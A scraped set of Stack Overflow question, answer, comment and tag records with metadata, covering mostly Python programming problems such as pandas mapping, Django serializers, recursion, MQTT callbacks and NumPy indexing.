upvote count: 3
has comment: http://stackoverflow.com/comment/115346773
has comment: http://stackoverflow.com/comment/115346903
has comment: http://stackoverflow.com/comment/80977568
has comment: http://stackoverflow.com/comment/80982451
linked to: http://stackoverflow.com/q/62899578
has comment: http://stackoverflow.com/comment/80978691
tagged with: sieve-of-eratosthenes
has comment: http://stackoverflow.com/comment/80977517
has comment: http://stackoverflow.com/comment/81169092
favorite count: 0

http://stackoverflow.com/q/46929919
answer count: 1
downvote count: 0
favorite count: 0
type: Question
tagged with: arm
has answer: http://stackoverflow.com/a/47018230
type: UnansweredQuestion
tagged with: python-wheel
upvote count: 1
tagged with: python
has body: When running that command to build opencv for python on ARM architecture pip wheel --wheel-dir=./ opencv-python I get that error Could not find a version that satisfies the requirement opencv-python (from versions: ) No matching distribution found for opencv-python Although, when running it on my pc (amd64) it runs very well. So, Is there a different naming for opencv for ARM architecture ?
tagged with: opencv
has title: I can't build wheel for opencv on ARM Architecture
score: 1

http://stackoverflow.com/q/46962722
has answer: http://stackoverflow.com/a/46962796
accepted answer: http://stackoverflow.com/a/46962796
tagged with: arrays
tagged with: python
has comment: http://stackoverflow.com/comment/80873341
has comment: http://stackoverflow.com/comment/80873378
type: AnsweredQuestion
tagged with: list
has title: Code is only showing the last most recent input from temporary array to 2d array?
has comment: http://stackoverflow.com/comment/80873446
score: 1
has comment: http://stackoverflow.com/comment/80873374
answer count: 1
downvote count: 0
has body: Code is only showing the last most recent input from temporary array to 2d array? please help as i'm new to computing and doing it for gcse (SOVLED) #Prints title print ("WELCOME TO STUDENT TEST DATABASE") #array that stores names/scores aTestScores =[] ( """ PRESS 1 TO ADD STUDENT AND HIS/HER GRADE PRESS 2 TO VIEW STUDENT PRESS 3 TO EXIT """ ) SChoise=input("please choose 1 2 or 3" #if sChoice == "1": aT =[] while True: aT.append (input("Input a name ")) aT.append (int(input("Input a Test Score "))) print(aT) print(aTestScores) sPlayAgain=input("Do you want to input another name/number ") if sPlayAgain.upper() == "YES": continue if sPlayAgain.upper() == "NO": break print (aT) aTestScores.append(aT) print(aTestScores)
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80873245
has comment: http://stackoverflow.com/comment/80873327
has comment: http://stackoverflow.com/comment/80873350

http://stackoverflow.com/comment/81068334
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47060408
has text: so you basically want to dynamically change the src of an iframe ?

inheritance
tags question: http://stackoverflow.com/q/46956497
tags question: http://stackoverflow.com/q/46990754
tags question: http://stackoverflow.com/q/47019802
tags question: http://stackoverflow.com/q/46948414
tag name: inheritance
tags question: http://stackoverflow.com/q/46991489
tags question: http://stackoverflow.com/q/46913287
tags question: http://stackoverflow.com/q/46967545
tags question: http://stackoverflow.com/q/46945436
type: Tag
tags question: http://stackoverflow.com/q/46995450
tags question: http://stackoverflow.com/q/47042563
tags question: http://stackoverflow.com/q/46994975

http://stackoverflow.com/comment/80988861
has text: @JohnGordon 1 minute. I literally call load right after I run save.
type: QuestionComment
comment on: http://stackoverflow.com/q/47020772
score: 0
type: Comment

http://stackoverflow.com/q/46929374
tagged with: list
has answer: http://stackoverflow.com/a/46930199
upvote count: 1
has title: Print contents of a list with along with nested list in one column in Python 3.6
has body: I'm new to this and logic of loops still troubles me. I have failed to find my answer, trying to print a list contents along with another nested list all in a one column (python 3.6) List1=['123','1234',[12345,54321],'321'] for item in List1: for i in item: print(i,end=' ') print so far I get output of list vertically char by char and nested list horizontally in one line. also if 123 is a int without '' it return me an error msg int not iterable.
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80806434
tagged with: python-3.x
answer count: 2
has comment: http://stackoverflow.com/comment/99088270
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46929886
downvote count: 2
has comment: http://stackoverflow.com/comment/81350614
tagged with: python
score: -1

http://stackoverflow.com/q/46988650
possible better answer: http://stackoverflow.com/a/46988936
favorite count: 0
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/46988936
score: 5
has comment: http://stackoverflow.com/comment/80923901
upvote count: 5
has title: Map on 2 columns pandas
has comment: http://stackoverflow.com/comment/80923883
tagged with: dataframe
tagged with: python
tagged with: dictionary
accepted answer: http://stackoverflow.com/a/46988704
has answer: http://stackoverflow.com/a/46988704
type: AnsweredQuestion
answer count: 2
tagged with: pandas
has body: I have a dataframe that looks like: Col1 Col2 0 A PY 1 B PA 2 C PB 3 B PB and this series: Value Col1 Col2 A PY 20 B PB 30 I would like to do a mapping, if the series has one index(ex Col1 only) its pretty straightforward with: df['Value'] = df['Col1'].map(s) How can I do mapping based on 2 indexes/columns ? Thanks !
downvote count: 0

http://stackoverflow.com/q/47047263
has title: Dual state machine in a List Comprehension
downvote count: 0
linked to: http://stackoverflow.com/q/47047588
has comment: http://stackoverflow.com/comment/81041996
has comment: http://stackoverflow.com/comment/81041789
favorite count: 0
has comment: http://stackoverflow.com/comment/81041809
has answer: http://stackoverflow.com/a/47047380
has answer: http://stackoverflow.com/a/47047344
type: AnsweredQuestion
upvote count: 3
score: 3
has comment: http://stackoverflow.com/comment/81042095
has comment: http://stackoverflow.com/comment/81041856
tagged with: python
tagged with: list-comprehension
has comment: http://stackoverflow.com/comment/81041832
accepted answer: http://stackoverflow.com/a/47047380
type: Question
possible better answer: http://stackoverflow.com/a/47047344
has comment: http://stackoverflow.com/comment/81041892
answer count: 2
has body: Consider the following function: def search( seq, start, end ): state = 0 ret = [] aux = [] for i in seq: if state == 0: if i == start: aux = [i] state = 1 elif state == 1: aux.append(i); if i == end: ret.append(aux) state = 0 return ret The search() function is a very basic dual state machine, which returns a list of sublists using the start and end as delimiters. For example: DNA = ['CGC','UUC','GCU','UUG','GAA','AAU','UUG','UGU','GUU','UUU','UGU', 'GGC','UGC','UCG','CUG','CUC','AAA','UUG','UUC','GCU','GCU','UUU', 'UGU','GUC','CUG','GCU','GCU','UUU','AUU','AUU','AAU','CGC','UGC', 'UUG','GCG','GUU','CUG','UUA','CGC','UGC','UUG','GGC','UUG','UUG', 'UGG','CUU','UGG','UUG','UUU','GUA','UAU','UGA','GCU','GUU','CUU', 'UGG','CUU','UGG','AAU','UUU','GUU','UAU','UAG','GCU','GCU','CUU', 'GUU','GUU','GUU','GCU','UGU','UGU','AAU','GUU','GGC'] print( search( DNA, start='AAU', end='GUU') ) Output: [['AAU', 'UUG', 'UGU', 'GUU'], ['AAU', 'CGC', 'UGC', 'UUG', 'GCG', 'GUU'], ['AAU', 'UUU', 'GUU'], ['AAU', 'GUU']] Is it possible to write an equivalent function using list comprehension ?

connexion
tags question: http://stackoverflow.com/q/46911909
tag name: connexion
type: Tag

http://stackoverflow.com/comment/80930532
type: Comment
has text: Hi James, in this example, the initial values are explicitly set by the user, as with `result = gmod.fit(y, x=x, amp=5, cen=5, wid=1)`. We're not aiming for magically fitting every data set, just trying to help the user fit their data. Then again, many builtin Models (such as GaussianModel and LorentzianModel) do have `guess` methods that heuristically try to get reasonable starting values for peak-like data.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46985498

http://stackoverflow.com/a/47048802
has comment: http://stackoverflow.com/comment/81044741
answers question: http://stackoverflow.com/q/47048636
has comment: http://stackoverflow.com/comment/81044760
has comment: http://stackoverflow.com/comment/81044877
accepted answer of: http://stackoverflow.com/q/47048636
type: Answer
has comment: http://stackoverflow.com/comment/81044808
downvote count: 0
score: 1
upvote count: 1
has body: Try markers=['*', 'o']. The markers argument in lmplot() requires a single entry for each level of hue. You can test this: N = 100 data = {"x":np.random.random(N), "y":np.random.random(N), "z":np.random.choice([0,1], size=N)} df = pd.DataFrame(data) markers = [1,2,3] g = sns.lmplot(x='x', y='y', data=df, fit_reg=False, hue='z', lowess=True, scatter_kws={'alpha': 0.5}, legend=True, markers=markers) ^ This will throw an error: ValueError: markers must be a singeton or a list of markers for each level of the hue variable If this is the only use case for importing the (rather esoteric) cycler module, you're better off leaving it out and simply defining the markers you want bound to your z column. As for the actual error you posted, note that each element in markers is a dict. There's a marker field that will get the actual marker character. You can see this with: for m in markers: print(m['marker'])
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81044697

http://stackoverflow.com/q/47042703
tagged with: python
has answer: http://stackoverflow.com/a/47058764
tagged with: mapreduce
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81058154
tagged with: hadoop
has comment: http://stackoverflow.com/comment/81032535
tagged with: word-count
has body: I am trying to execute a python MapReduce wordcount Program I take it from writing a Hadoop MapReduce program in python just to try to understand how it works but the problem always is Job not successful! I execute mapper.py and reducer.py using this library in Cloudera VM /usr/lib/hadoop-0.20-mapreduce/contrib/streaming/hadoop-streaming-2.6.0-mr1-cdh5.12.0.jar execute command: hadoop jar /usr/lib/hadoop-0.20-mapreduce/contrib/streaming/hadoop-streaming-2.6.0-mr1-cdh5.12.0.jar -Dmaperd.reduce, tasks=1 -file wordcount/mapper.py -mapper mapper.py -file wordcount/reducer.py -reducer reducer.py -input myinput/test.txt -output output
tagged with: cloudera
has title: Hadoop MapReduce Wordcount python execution error
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81059137
has comment: http://stackoverflow.com/comment/81041381
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47058764
answer count: 1

http://stackoverflow.com/comment/80780818
type: Comment
comment on: http://stackoverflow.com/q/46916739
type: QuestionComment
has text: Change Percentage to percentage in line one
score: 0

http://stackoverflow.com/q/46916238
tagged with: recursion
has comment: http://stackoverflow.com/comment/80779882
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46916353
possible better answer: http://stackoverflow.com/a/46916353
has comment: http://stackoverflow.com/comment/80779965
has comment: http://stackoverflow.com/comment/80779945
tagged with: python
has title: Count elements in list via a recursive method
has body: I'm trying to get a grasp on recursion. In general I understand what it does, but I'm having some trouble understanding how the following method works. def count_numbers_in_list(list): if list == []: return 0 return 1 + count_numbers_in_list(list[1:]) Now I get that list[1:] returns everything from the given list except the first. But what I can't get my head around is that we are never calling something like - 1 on the list itself. So this function works perfectly, but it would also make sense to me that this function returns a infinite loop. I'm hoping that somebody could explain precisely to me what's happening here. Thanks!
score: 2
upvote count: 2
has answer: http://stackoverflow.com/a/46916375
accepted answer: http://stackoverflow.com/a/46916375
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/80779868
has comment: http://stackoverflow.com/comment/80780168
favorite count: 0
type: Question

http://stackoverflow.com/comment/80874656
type: QuestionComment
has text: You should read any of the many tutorials on formatting output. Until you've done that basic research, you do not have an issue to post here.
score: 0
comment on: http://stackoverflow.com/q/46963404
type: Comment

http://stackoverflow.com/q/47004291
possible better answer: http://stackoverflow.com/a/47005262
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47005262
answer count: 3
has body: When given a list of data, I'm being asked to convert strings within the list to a corresponding type, such as int if the string contains a whole number, or a float if it doesn't contain a whole number. But I'm running into this problem where it will convert the value but it doesn't change the original value in the list. For example, if given: d = 'abc', '123', '45.6', 'True', 'False' It's supposed to look like this after the conversion: 'abc', 123, 45.6, True, False So far I've tried to write a for loop and convert the values that way but as I mentioned it doesn't change the original list: for lst in data: for index in lst: if index.isdigit(): index = int(index) elif not index.isdigit(): index = float(index) I'm not really sure how to fix the problem or if it's there's another way to go about it. Any help would be appreciated! Thank you :)
has title: In Python how do you convert strings in a list of list to other types, such as ints, floats, booleans, etc?
downvote count: 0
favorite count: 0
type: Question
upvote count: 4
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/47004352
tagged with: python
has answer: http://stackoverflow.com/a/47004402
score: 4
has answer: http://stackoverflow.com/a/47004352

http://stackoverflow.com/comment/80886828
comment on: http://stackoverflow.com/a/46969735
has text: This solution ist nice, too! But it creates a ndarray.... But it is easy to convert to a list. Reblochon Masque 's solution is more compact.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81072327
comment on: http://stackoverflow.com/q/47061839
score: 0
type: QuestionComment
has text: I think what you really want to ask is [How To Hide Tkinter python Gui](https://stackoverflow.com/questions/22764927/how-to-hide-tkinter-python-gui)
type: Comment

http://stackoverflow.com/a/46944396
accepted answer of: http://stackoverflow.com/q/46944335
answers question: http://stackoverflow.com/q/46944335
score: -2
type: Answer
has body: def marble_stats(a): big_box=a//48 small_box=(a-big_box*48)//8 excess=a-((big_box*48)+(small_box*8)) cash=26*big_box+4*small_box-excess*2 return str(big_box)+'..'+str(small_box)+'..'+str(excess)+'..'+str(cash) final=marble_stats(503) print(final) out: 10..2..7..254
upvote count: 0
downvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/q/46947722
has answer: http://stackoverflow.com/a/46948120
tagged with: python
has title: AttributeError - When using Django NestedFields serializers
type: AnsweredQuestion
score: 0
answer count: 1
tagged with: django
tagged with: django-rest-framework
type: Question
accepted answer: http://stackoverflow.com/a/46948120
has body: I've 2 models:- class Users(models.Model): first_name = models.CharField(max_length=255) middle_name = models.CharField(max_length=255) class UserAddress(models.Model): line1 = models.CharField(max_length=255) country = models.CharField(max_length=255) user = models.ForeignKey(Users) The user model &amp; user address model. Following are the 2 serializers. class UserAddressSerializer(ModelSerializer): class Meta: model = UserAddress exclude = ('id', 'user') class UserSerializer(ModelSerializer): address = UserAddressSerializer(many=True) class Meta: model = Users fields = '__all__' def create(self, validated_data): address = validated_data.pop('address', []) user = Users.objects.create(**validated_data) for ad in address: UserAddress.objects.create(user=user, **ad) return user The data I receive from the client is { "first_name": "string", "last_name": "string", "address": [{ "line1": "asd", "country": "asd", }], } This is how I create a new user and its corresponding address. class UserCreate(GenericAPIView): serializer_class = UserSerializer def post(self, request, *args, **kwargs): data = request.data serializer = UserSerializer(data=data) if not serializer.is_valid(): return user = serializer.save() response = { 'user_id': user.uuid } return Now, upon getting the user details back, I receive an error saying AttributeError: Got AttributeError when attempting to get a value for field `address` on serializer `UserSerializer`. The serializer field might be named incorrectly and not match any attribute or key on the `Users` instance. Original exception text was: 'Users' object has no attribute 'address'. This is how I get the details of the user, including the address. class UserDetails(GenericAPIView): queryset = Users.objects.all() serializer_class = UserSerializer lookup_field = 'uuid' def get(self, request, uuid, *args, **kwargs): user = Users.get_user(uuid) if not user: return serializer = UserSerializer(instance=user) return I'd read this example of nested rela…

http://stackoverflow.com/q/46915614
has title: AttributeError: module 'django.contrib.postgres.fields' has no attribute 'JSONField'
has comment: http://stackoverflow.com/comment/80778485
accepted answer: http://stackoverflow.com/a/46915773
type: Question
has comment: http://stackoverflow.com/comment/80778628
has answer: http://stackoverflow.com/a/46915773
has comment: http://stackoverflow.com/comment/80778548
has body: Installing project from GitHub repo and receive following error after all File "/Users/TheKotik/closer/blog/models.py", line 5, in &lt;module&gt; from rest_framework import serializers File "/Users/TheKotik/closer/denv/lib/python3.5/site-packages/rest_framework/serializers.py", line 1534, in &lt;module&gt; ModelSerializer.serializer_field_mapping[postgres_fields.JSONField] = JSONField AttributeError: module 'django.contrib.postgres.fields' has no attribute 'JSONField' Have no idea, what it's related to. Please help.. The whole traceback: File "manage.py", line 10, in &lt;module&gt; execute_from_command_line(sys.argv) File "/Users/TheKotik/closer/denv/lib/python3.5/site-packages/django/core/management/__init__.py", line 338, in execute_from_command_line utility.execute() File "/Users/TheKotik/closer/denv/lib/python3.5/site-packages/django/core/management/__init__.py", line 312, in execute django.setup() File "/Users/TheKotik/closer/denv/lib/python3.5/site-packages/django/__init__.py", line 18, in setup apps.populate(settings.INSTALLED_APPS) File "/Users/TheKotik/closer/denv/lib/python3.5/site-packages/django/apps/registry.py", line 108, in populate app_config.import_models(all_models) File "/Users/TheKotik/closer/denv/lib/python3.5/site-packages/django/apps/config.py", line 198, in import_models self.models_module = import_module(models_module_name) File "/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/importlib/__init__.py", line 126, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "&lt;frozen importlib._bootstrap&gt;", line 986, in _gcd_import File "&lt;frozen importlib._bootstrap&gt;", line 969, in _find_and_load File "&lt;frozen importlib._bootstrap&gt;", line 958, in _find_and_load_unlocked File "&lt;frozen importlib._bootstrap&gt;", line 673, in _load_unlocked File "&lt;frozen importlib._bootstrap_external&gt;", line 665, in exec_module File "&lt;frozen importlib._bootstrap&gt;", line 222, in _call_with_frames_r…
answer count: 1
tagged with: django
tagged with: python
tagged with: django-rest-framework
tagged with: postgresql
type: AnsweredQuestion
tagged with: python-2.7
score: 0

http://stackoverflow.com/a/46993449
type: Answer
has body: You've defined the route as /login but your form is posting to /.
score: 3
upvote count: 3
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46993426
has comment: http://stackoverflow.com/comment/80933394
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46993426

http://stackoverflow.com/a/46915305
score: 0
answers question: http://stackoverflow.com/q/46915016
type: Answer
has body: The point of properties is that thermo.take gets you the object returned by the getter (in this case, a Take object). That's why help(thermo.take) is equivalent to help(Take()) (or whatever your "take object" is). You can bypass this behavior by calling help on the property of the class: help(substances.take) # Or help(type(thermo).take) This works because there's no self upon which you're calling take, so the only thing it has to return is your defined property.

http://stackoverflow.com/comment/80774844
type: QuestionComment
has text: Alasdair - thank you so much thats worked, turns out theres a second headers module at the bottom of bitnamis httpd.conf file that switches all xframe options to SAMEORIGIN regardless of django functionality. Would you like to post this as an answer so I can up-vote you?
comment on: http://stackoverflow.com/q/46909053
score: 0
type: Comment

http://stackoverflow.com/a/46964662
accepted answer of: http://stackoverflow.com/q/46964308
has comment: http://stackoverflow.com/comment/80919583
type: Answer
has comment: http://stackoverflow.com/comment/80877190
has comment: http://stackoverflow.com/comment/80877399
score: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80877968
downvote count: 0
upvote count: 1
has body: It is not very clear what should be the correct behavior of the code and so I will limit myself to answering the question "I need l1 = [(3,'7'), (1,'1')] and l2 = [(2,'7'), (2,'8')]". Here is one way of doing it: l1 = sorted([i[::-1] for i in Counter(s1).items()], reverse=True) or c1 = Counter(s1) l1 = sorted(zip(c1.values(), c1.keys()), reverse=True)
answers question: http://stackoverflow.com/q/46964308

http://stackoverflow.com/q/46989880
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80926365
tagged with: indexing
has comment: http://stackoverflow.com/comment/80926459
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80926393
score: 1
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/80926409
has answer: http://stackoverflow.com/a/46990063
favorite count: 0
has comment: http://stackoverflow.com/comment/80926439
type: Question
tagged with: numpy
has title: A neater way to set values at indexes with NumPy
has body: I have a numpy array initially with zeros, like this: v = np.zeros((5, 5)) v array([[ 0., 0., 0., 0., 0.], [ 0., 0., 0., 0., 0.], [ 0., 0., 0., 0., 0.], [ 0., 0., 0., 0., 0.], [ 0., 0., 0., 0., 0.]]) I also have a set of arrays idx1 and idx2. idx1 array([[0, 3], [0, 4], [1, 3], [2, 4]]) idx2 array([[0, 1], [0, 2], [0, 4], [1, 3]]) Look upon each pair of values as row and column indices. So, for example, in idx1, the first pair (0, 3) would be indexers into v[0, 3] and so on. I want to first set values at indexes specified by idx1 to 1, followed by all indexes specified by idx2 to 0. Also, please note that if there is a pair (i, j) in some array, I want to set v[i, j] and v[j, i] at the same time. My final result becomes: array([[ 0., 0., 0., 1., 0.], [ 0., 0., 0., 0., 0.], [ 0., 0., 0., 0., 1.], [ 1., 0., 0., 0., 0.], [ 0., 0., 1., 0., 0.]]) I currently achieve this by doing: def set_vals(x, i, j, v): x[i, j] = x.T[i, j] = v v = np.zeros((5, 5)) i1, j1 = idx1[:, 0], idx1[:, 1] i2, j2 = idx2[:, 0], idx2[:, 1] set_vals(v, i1, j1, 1) set_vals(v, i2, j2, 0) v # the result However, I believe there might be a better way. Would love to hear any thoughts/suggestions for improvement. Thanks!
accepted answer: http://stackoverflow.com/a/46990063
tagged with: arrays

http://stackoverflow.com/a/46981631
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46981025
type: Answer
answers question: http://stackoverflow.com/q/46981025
score: 0
has body: A validates() validator "receives the name of the attribute as well as a value to be assigned, or in the case of a collection, the value to be added to the collection". So if the field is not touched, no validation occurs. Your use case would seem like a good fit for a table level check constraint: class User(db.Model): user_type = db.Column(db.String, nullable=False) special_pin = db.Column(db.String) __table_args__ = ( # Note the trailing comma. __table_args__ should be a tuple or a dict. db.CheckConstraint("user_type != 'special' OR special_pin IS NOT NULL", name="check_special_user_has_pin"), )

http://stackoverflow.com/a/47011185
type: Answer
has body: As the numeric values are in your data, you should let your model account for them. To do that, you should replace the numbers with something generic like NUM, Before applying the CountVectorizer. If your data is in a pandas dataframe, you can replace all the numbers with NUM as follows: In [7]: pd.DataFrame([['Hello 1'],['01'],["it's 2017"]]) Out[7]: 0 0 Hello 1 1 01 2 it's 2017 In [8]: pd.DataFrame([['Hello 1'],['01'],["it's 2017"]]).replace('\d+', 'NUM', regex=True) Out[8]: 0 0 Hello NUM 1 NUM 2 it's NUM Then you can apply the CountVectorizer. After that, the numbers in the output of print(cv.get_feature_names()) will be replaced by a single NUM.
score: 2
answers question: http://stackoverflow.com/q/47010044
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/81024092
type: Comment
has text: Since ROS isn't written in Matlab, and ROS has good support in Python, translating the Matlab code to Python is a simple long-term solution.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47033614

http://stackoverflow.com/comment/80849495
comment on: http://stackoverflow.com/a/46947469
type: Comment
score: 0
has text: Thanks @mohammed kashif,I will look at the code you mentioned and report back.
type: AnswerComment

http://stackoverflow.com/a/47070335
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47049296
score: 3
type: Answer
has body: You can do the exact same as you are already doing for the contour lines. Minimal example: import numpy as np import matplotlib.pylab as pl pl.figure() for i in range(2): c = pl.contour(np.random.random(100).reshape(10,10)) cl = pl.clabel(c) if i == 1: pl.savefig('fig.png'.format(i)) Results in double contours, labels: By changing it to: # Same code as above left out if i == 1: pl.savefig('fig.png'.format(i)) for contour in c.collections: contour.remove() for label in cl: label.remove()
upvote count: 3
answers question: http://stackoverflow.com/q/47049296

http://stackoverflow.com/a/64067859
has body: Well, that's quite not possible in tkinter but wait I am not saying impossible. You just need to do the following- NOTE: This works only if you use your app in a full-screen window without borders. Let us see how- I'm gonna use KIVY so please download it. If you have kivy skip this kivy installation guide: REMEMBER : Kivy is supported only in python 2.7, 3.7 and 3.4 so uninstall the python you have if any version does not match. To know current python version type 'python version' in cmd. step 1). Type 'pip install kivy' in cmd step 2). There might be an issue during the installation so as I said unistall unsupported python version. 1). Following packages are required so please download them if you don't have any of them. PIL pip install PIL pyautogui pip install pyautogui 2). Explanation: In Python, it is a bit difficult to use DWM (Desktop Window Manager) API that helps to blur the window behind. However, in C++ there is a built-in function called EnableBlurBehind() to blur the window behind using DWM API. First, we are going to take a screenshot using pyautogui package Then blur the image (screenshot or background) Finally, set the image in canvas. Voila! You have blurred the window behind. So let us get the concept working. Copy this and paste into IDE only if you have downloaded the required library Main python file, save as name.py # first take the screenshot else problem will occur import pyautogui # take screenshot screenshot = pyautogui.screenshot() screenshot.save('screenshot.png') # import other required libraries from PIL import Image, ImageFilter from kivy.app import App from kivy.core.window import Window from kivy.uix.widget import Widget from PIL import Image, ImageFilter from win32api import GetSystemMetrics from kivy.animation import Animation # set window size Window.borderless = True Window.size = GetSystemMetrics(0), GetSystemMetrics(1) Window.left = 0 Window.top = 0 class Blur(Widget): # Transparent Blur Window Exmple the screenshot get_image =…
score: 2
type: Answer
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/46934165

http://stackoverflow.com/comment/80977428
score: 0
has text: perhaps it should be for `for i, item in enumerate(my_list):`
type: Comment
comment on: http://stackoverflow.com/a/47015560
type: AnswerComment

http://stackoverflow.com/q/47010215
possible better answer: http://stackoverflow.com/a/47010338
tagged with: python
linked to: http://stackoverflow.com/q/46983408
type: AnsweredQuestion
score: 0
answer count: 2
has body: (ERROR MODULE) python mqtt_Listen_Sensor_Data.py Previously I had a problem with localhost but now im getting another error. I'm trying to store my MQTT data in SQLITE database on raspberry. What am I doing wrong to get the error below? CODE: import paho.mqtt.client as mqtt from store_Sensor_Data_to_DB import sensor_Data_Handler # MQTT Settings MQTT_Broker = "localhost" MQTT_Port = 1883 Keep_Alive_Interval = 45 MQTT_Topic = "kuca/primanje/kanta01/r" #Subscribe to all Sensors at Base Topic def on_connect(mosq, obj, rc): self.subscribe(MQTT_Topic,0) #Save Data into DB Table def on_message(mosq, obj, msg): self.subscribe(MQTT_Topic, 0) # This is the Master Call for saving MQTT Data into DB # For details of "sensor_Data_Handler" function please refer "sensor_data_to_db.py" print "MQTT Data Received..." print "MQTT Topic: " + msg.topic print "Data: " + msg.payload sensor_Data_Handler(msg.topic, msg.payload) def on_subscribe(mosq, obj, mid, granted_qos): pass mqttc = mqtt.Client() # Assign event callbacks mqttc.on_message = on_message mqttc.on_connect = on_connect mqttc.on_subscribe = on_subscribe # Connect mqttc.connect(MQTT_Broker, int(MQTT_Port), int(Keep_Alive_Interval)) # Continue the network loop mqttc.loop_forever() ERROR: pi@Pi:~/Desktop/SQLITE $ python mqtt_Listen_Sensor_Data.py Traceback (most recent call last): File "mqtt_Listen_Sensor_Data.py", line 46, in &lt;module&gt; mqttc.loop_forever() File "/usr/local/lib/python2.7/dist-packages/paho/mqtt/client.py", line 1481, in loop_forever rc = self.loop(timeout, max_packets) File "/usr/local/lib/python2.7/dist-packages/paho/mqtt/client.py", line 1003, in loop rc = self.loop_read(max_packets) File "/usr/local/lib/python2.7/dist-packages/paho/mqtt/client.py", line 1284, in loop_read rc = self._packet_read() File "/usr/local/lib/python2.7/dist-packages/paho/mqtt/client.py", line 1849, in _packet_read rc = self._packet_handle() File "/usr/local/lib/python2.7/dist-packages/paho/mqtt/client.py", line 2311, in _packet_han…
accepted answer: http://stackoverflow.com/a/47010280
has title: on_connect() takes exactly 3 arguments (4 given)
has answer: http://stackoverflow.com/a/47010338
has answer: http://stackoverflow.com/a/47010280
type: Question
tagged with: mqtt

http://stackoverflow.com/comment/80877417
score: 1
type: Comment
has text: Seconding the use of `r`. This is what it's made for, and it's specifically suggested as the solution to this problem in Python's documentation. Why in the world would you prefer double backslashes over a simple switch at the beginning?
type: AnswerComment
comment on: http://stackoverflow.com/a/46964778

http://stackoverflow.com/a/47062717
has comment: http://stackoverflow.com/comment/81073614
has body: This should work: a='seses' b='se' print a.count(b) &gt;&gt;2
type: Answer
has comment: http://stackoverflow.com/comment/81073559
answers question: http://stackoverflow.com/q/47062693
score: 0

http://stackoverflow.com/comment/137337656
comment on: http://stackoverflow.com/a/46942819
score: 0
type: Comment
has text: FYI, "some contexts" includes **the Windows CMD**! Try it yourself: `python -c "import sys;print('\u263a\u263b');sys.stdout.buffer.write(b'\x01\x02\n')"`
type: AnswerComment

http://stackoverflow.com/comment/80822620
score: 0
type: Comment
type: QuestionComment
has text: Ok. If you want to put together a full answer, I'll try it out and accept if it works.
comment on: http://stackoverflow.com/q/46937399

http://stackoverflow.com/q/46973081
type: UnansweredQuestion
tagged with: selenium
has comment: http://stackoverflow.com/comment/81005697
tagged with: wkhtmltopdf
has comment: http://stackoverflow.com/comment/80893832
score: 0
tagged with: pdfkit
tagged with: python
linked to: http://stackoverflow.com/q/20984698
has comment: http://stackoverflow.com/comment/81008724
has title: Efficiently Webpage to pdf conversion
tagged with: weasyprint
has body: I am trying to convert Website (including css and image)into pdf and save it locally. I have been trying to use a couple of python libraries like(pdfkit, wkhtmltopdf, weasyprinrt, selenium.) I tried and found this code but don't know how to use it to achieve my goal and save the file locally. import pdfkit pdfkit.from_url('http://google.com', 'res.pdf')
has comment: http://stackoverflow.com/comment/80893777
type: Question
answer count: 0

http://stackoverflow.com/a/46976822
accepted answer of: http://stackoverflow.com/q/46976434
answers question: http://stackoverflow.com/q/46976434
has body: I think you are looking in the wrong list. Instead of looking in the index, try looking in content with open('test.txt', "r") as file: for line in file: print find_element_in_list(content, line.rstrip('\n'))
upvote count: 1
type: AcceptedAnswer
downvote count: 0
score: 1
type: Answer

http://stackoverflow.com/comment/80936703
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46995107
has text: Normally yes, but I want the ASCII conversion to remain.

http://stackoverflow.com/comment/81281151
type: QuestionComment
has text: Yes that did the trick. Thanks! Added the following VBA code, now it automatically runs a full recalculation as soon as the workbook is opened: Private Sub Workbook_Open() Application.CalculateFull End Sub Still feels like a workaround, but most importantly it gets the job done
score: 0
comment on: http://stackoverflow.com/q/47019104
type: Comment

http://stackoverflow.com/comment/80926396
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46989958
has text: Thanks Tom! Does x represent column and y represent row in pyhton code here? In programming languages like cpp, we say x represent row and y represent column in a[x][y]

http://stackoverflow.com/comment/81078127
comment on: http://stackoverflow.com/q/47062622
score: 0
has text: @DanielRoseman I thought so. The while loop was actually breaking the correct code that I had tried but didn't work because of the while loop. Lesson learned.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46907523
score: 0
has comment: http://stackoverflow.com/comment/80761801
has comment: http://stackoverflow.com/comment/80761809
answer count: 1
has body: When I am creating one DataFrame having name df and the code is- df = pd.DataFrame({'string': list('abcdef'), 'int64': list(range(1,7)), 'uint8': np.arrange(3,9).astype(u1), 'bool1': [True,False,False,True,False,True], 'dates': pd.date_range('now',periods=6).values, 'category': pd.Series(list("ABCDEF")).astype('category')}) When i run this code then it generates an error as 'list' object is not callable Even all packages related to this already imported.
upvote count: 1
has comment: http://stackoverflow.com/comment/80761744
tagged with: data-science
downvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/46907815
